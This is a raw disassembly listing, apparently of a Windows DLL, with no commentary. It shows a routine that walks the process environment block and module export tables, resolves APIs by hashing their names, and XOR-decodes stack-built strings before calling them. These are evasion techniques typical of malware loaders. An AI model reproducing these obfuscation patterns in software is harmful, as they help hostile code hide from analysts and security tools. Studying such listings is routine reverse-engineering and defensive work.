call fcn.180011f00
bts edi, 0x12
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, 0x1e
mov edx, r14d
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.18001db60
movzx ebx, byte [rax]
xor bl, 0x77
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001a7b0
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, str.JUJli7cS5XDvNWXK73wL
call r12
mov ebx, eax
btr edi, 0x12
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
test ebx, ebx
jne 0x18001aa03
mov dword [rsp + 0x50], 0x3e2c283f
mov word [rsp + 0x54], 0x2322
mov byte [rsp + 0x56], 0x4d
lea rcx, [rbp + 0x1b0]
call fcn.180011f00
bts edi, 0x13
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov esi, 7
mov edx, esi
lea rcx, [rbp + 0x1b0]
call fcn.180014330
mov r14, r15
nop dword [rax + rax]
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.180014a60
movzx ebx, byte [rax]
xor bl, 0x4d
mov rdx, r14
lea rcx, [rbp + 0x1b0]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x18001a850
lea rcx, [rbp + 0x1b0]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1800201b0
nop
mov rcx, rax
call fcn.1800143e0
mov rsi, rax
mov dword [rsp + 0x40], 0x52525d7e
mov dword [rsp + 0x44], 0x1c065859
mov word [rsp + 0x48], 0x4f19
mov byte [rsp + 0x4a], 0x3c
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x14
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov edi, listen
mov edx, edi
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rdx, r15
lea rcx, [rsp + 0x40]
call fcn.180014af0
movzx ebx, byte [rax]
xor bl, 0x3c
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x18001a8f0
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov r8, rsi
mov rdx, rax
lea rcx, [0x1805e3de0]
call fcn.18001fb00
nop
lea rcx, [rbp - 0x60]
call fcn.180014c00
nop
lea rcx, [rbp + 0x40]
call fcn.180014c00
nop
lea rcx, [rbp + 0x1b0]
call fcn.180014c00
nop
movzx edx, byte [rbp + 0x2f0]
lea rcx, [rbp + 0x2f8]
call fcn.18001dcc0
nop
lea rcx, [rbp + 0x330]
call fcn.1800192c0
nop
lea rcx, [rbp + 0x310]
call fcn.18001bc80
nop
movzx edx, byte [rbp + 0x300]
lea rcx, [rbp + 0x308]
call fcn.18001dcc0
nop
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.1801554d0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r14d, dword [rcx + rax*4]
add r14, r9
jmp 0x18001a5c0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r12d, dword [rcx + rax*4]
add r12, r9
jmp 0x18001a750
mov rax, qword [0x1805e33c0]
test rax, rax
jne 0x18001aacb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001aaa7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001aaa7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xbb944c93
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001aaa2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18001aa80
cmp edx, 0x4406cd46
je 0x18001b061
test r8d, r8d
jne 0x18001aa60
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001aabd
cmp qword [rax + 0x30], 0
jne 0x18001aa30
mov rax, r15
mov qword [0x1805e33c0], rax
mov edi, dword [rsp + 0x30]
lea rdx, str.egRwjNqAcjf5htkYRWck
lea rcx, str.JUJli7cS5XDvNWXK73wL
call rax
test eax, eax
jne 0x18001b0d3
mov dword [rsp + 0x40], 0x10f0b10
mov dword [rsp + 0x44], 0x1e0d170a
mov word [rsp + 0x48], 0x6401
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x15
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, 0xa
mov edx, r14d
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.180014ac0
movzx ebx, byte [rax]
xor bl, 0x64
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001ab23
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
mov rcx, rax
call fcn.180020320
mov dword [0x1801f69d0], eax
btr edi, 0x15
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
mov r12, qword [0x1805e47e0]
test r12, r12
jne 0x18001ac4b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001ac27
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001ac27
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x2b08a4d7
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001ac22
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18001ac00
cmp edx, 0x948dead4
je 0x18001b07d
test r8d, r8d
jne 0x18001abe0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001ac3d
cmp qword [rax + 0x30], 0
jne 0x18001abb0
mov r12, r15
mov qword [0x1805e47e0], r12
mov edi, dword [rsp + 0x30]
mov dword [rsp + 0x70], 0x57425542
mov word [rsp + 0x74], 0x5142
mov byte [rsp + 0x76], 0x23
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x16
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov esi, 7
mov edx, esi
lea rcx, [rbp - 0x60]
call fcn.180014330
mov r14, r15
nop word [rax + rax]
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.180014a60
movzx ebx, byte [rax]
xor bl, 0x23
mov rdx, r14
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x18001ac90
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1800201b0
nop
mov rcx, rax
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805e35d0]
call r12
nop
lea rcx, [rbp + 0x40]
call fcn.180014c00
btr edi, 0x16
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
mov r12, qword [0x1805e3360]
test r12, r12
jne 0x18001addb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001adb7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001adb7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xab3e8530
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001adb2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18001ad90
cmp edx, 0x41bbb1ef
je 0x18001b09a
test r8d, r8d
jne 0x18001ad70
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001adcd
cmp qword [rax + 0x30], 0
jne 0x18001ad40
mov r12, r15
mov qword [0x1805e3360], r12
mov edi, dword [rsp + 0x30]
mov dword [rsp + 0x50], 0x3f31352e
mov word [rsp + 0x54], 0x5a34
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x17
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, 6
mov edx, r14d
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.180014a40
movzx ebx, byte [rax]
xor bl, 0x5a
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001ae13
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1800201b0
nop
mov rcx, rax
call fcn.1800143e0
mov rdx, rax
lea rcx, str.BVsfXHcHW2921NrKQsvf
call r12
nop
lea rcx, [rbp + 0x40]
call fcn.180014c00
btr edi, 0x17
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
mov rsi, qword [0x1805e3350]
test rsi, rsi
jne 0x18001af5b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001af37
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001af37
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
mov edx, 0xc7dacb99
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x18001af32
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x18001af10
cmp edx, 0xf96fe282
je 0x18001b0b7
test r8d, r8d
jne 0x18001aef0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001af4d
cmp qword [rax + 0x30], 0
jne 0x18001aec0
mov rsi, r15
mov qword [0x1805e3350], rsi
mov edi, dword [rsp + 0x30]
mov dword [rsp + 0x38], 0x1e171409
mov byte [rsp + 0x3c], 0x7b
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x18
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov edi, 5
mov edx, edi
lea rcx, [rbp - 0x60]
call fcn.180014330
nop dword [rax]
mov rdx, r15
lea rcx, [rsp + 0x38]
call fcn.180014a00
movzx ebx, byte [rax]
xor bl, 0x7b
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x18001af90
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1800201b0
nop
mov rcx, rax
call fcn.1800143e0
mov rdx, rax
lea rcx, [0x1805e3dd0]
call rsi
nop
lea rcx, [rbp + 0x40]
call fcn.180014c00
nop
lea rcx, [rbp - 0x60]
call fcn.180014c00
lea rcx, [0x1805dddb0]
call fcn.18001ce20
mov byte [0x1805e3368], 1
movzx edx, byte [rbp + 0x2f0]
lea rcx, [rbp + 0x2f8]
call fcn.18001dcc0
nop
lea rcx, [rbp + 0x330]
call fcn.1800192c0
nop
lea rcx, [rbp + 0x310]
call fcn.18001bc80
nop
movzx edx, byte [rbp + 0x300]
lea rcx, [rbp + 0x308]
call fcn.18001dcc0
nop
jmp 0x18001a999
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x18001aac0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r12d, dword [rcx + rax*4]
add r12, r9
jmp 0x18001ac40
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r12d, dword [rcx + rax*4]
add r12, r9
jmp 0x18001add0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x18001af50
movzx edx, byte [rbp + 0x2f0]
lea rcx, [rbp + 0x2f8]
call fcn.18001dcc0
nop
lea rcx, [rbp + 0x330]
call fcn.1800192c0
nop
lea rcx, [rbp + 0x310]
call fcn.18001bc80
nop
movzx edx, byte [rbp + 0x300]
lea rcx, [rbp + 0x308]
call fcn.18001dcc0
nop
jmp 0x18001a999
call fcn.180014f60
int3
call fcn.180014d90
nop
xor edx, edx
xor ecx, ecx
call fcn.180157a98
nop
call fcn.180014f60
int3
call fcn.180014d90
nop
call fcn.180014f60
int3
call fcn.180014d90
nop
call fcn.180014f60
int3
call fcn.180014d90
nop
call fcn.180014f60
int3
call fcn.180014d90
int3